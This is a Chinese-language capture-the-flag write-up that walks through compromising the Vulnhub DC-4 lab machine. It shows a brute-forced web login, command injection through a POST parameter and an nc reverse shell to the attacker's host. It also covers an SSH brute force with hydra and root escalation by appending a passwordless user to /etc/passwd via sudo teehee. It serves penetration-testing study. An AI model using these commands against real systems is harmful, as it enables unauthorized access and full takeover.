【渗透测试】Vulnhub DC 4
[【渗透测试】Vulnhub DC 4]
渗透环境环境准备
DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip
1 | 攻击机:192.168.207.130 |
1 | 下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式 |
进行渗透
一、 获取端口信息
1. 主机扫描
1 | arp-scan -l |
继续
2. 端口扫描
1 | nmap -sS -p- 192.168.207.133 |
3.目录查找
1 | dirsearch -u 192.168.207.133 -e * |
没有什么特殊的去看看网站
1 | 192.168.207.133 |
二. 渗透过程
1. 用户登入爆破
随便输入用户名和密码,点击登入,用burpsuite抓包
猜测用户名是admin,密码不知道爆破看看
bp抓包
爆破看看使用密码库
密码库可以去这里下载
爆破结果:
查看回显报文最长的包,得到密码happy,
综上所述:可知道
username: admin
password:happy
用该密码登入后继续点击submit
登录成功
来到命令执行界面
2. 任意命令执行
burpsuite抓包,点击run,右键发到重放器
界面如下:
我们对radio进行测试
1 | radio=id |
我们可以知道,通过修改了POST传参radio的值达到了任意命令执行的效果
3.反弹shell()
通过尝试,不能echo命令写入木马,只好换一种方法进行反弹shell,这里试过了bash反弹不了,只能用nc反弹shell,参考Linux下几种反弹Shell方法的总结与理解 - FreeBuf网络安全行业门户
用kali监听8848端口(自定义)
1 | nc -lvvp 8848 |
然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上
1 | nc -e /bin/bash 192.168.207.130 8848 |
先将其URL编码(好像是方便传参吧)
1 | %6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%32%30%37%2e%31%33%30%20%38%38%34%38 |
发包,放包
连接上了
使用python获得交互式界面
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
www-data 是目前的用户
目的是防止shell断开
这个靶有两种方法:
1.teehee提权:
首先
进入home目录
1 | ls //查看有哪些文件 |
都试试看之后发现只有jim文件下面有我们要的东西
这里我们发现了backups文件这是备份文件去看看
一堆密码和 几句话(根据文件名提示,应该是之前用过的老密码)
使用[超级口令检查工具](Release 超级弱口令检查工具V1.0 Beta28 20190715 · shack2/SNETCracker · GitHub)去爆破
把上面的密码复制,然后创建一个txt文件进行爆破
也可以使用命令
1 | hydra -l jim -P '/home/kali/桌面/6.txt' ssh://192.168.207.133 |
1 | [22][ssh] host: 192.168.207.133 login: jim password: jibril04 |
接着ssh远程登入一下,jim:jibril04
1 | ssh jim@192.168.207.133 |
进入成功
接着尝试打开刚才反弹shell打开不了的文件mbox
说我有一封来自root用户的信,接着我们去邮箱找一下/var/spool/mail
密码已有
1 | 用户名:charles |
连接
1 | ssh charles@192.168.207.133 |
两种方法都可以
1 | sudo -l //查看用户权限 |
发现了个root权限的命令teehee(小型文本编辑器),可以利用这个命令进行提权
1 | echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd #建议手打命令,复制粘贴可能不管用 |
简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果,文件格式为
1 | [注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序] |
口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限
利用管道符配合teehee命令,在passwd文件里写入一个不用密码root权限的用户test
提权成功
找flag
1 | cd /root |
flag已找到。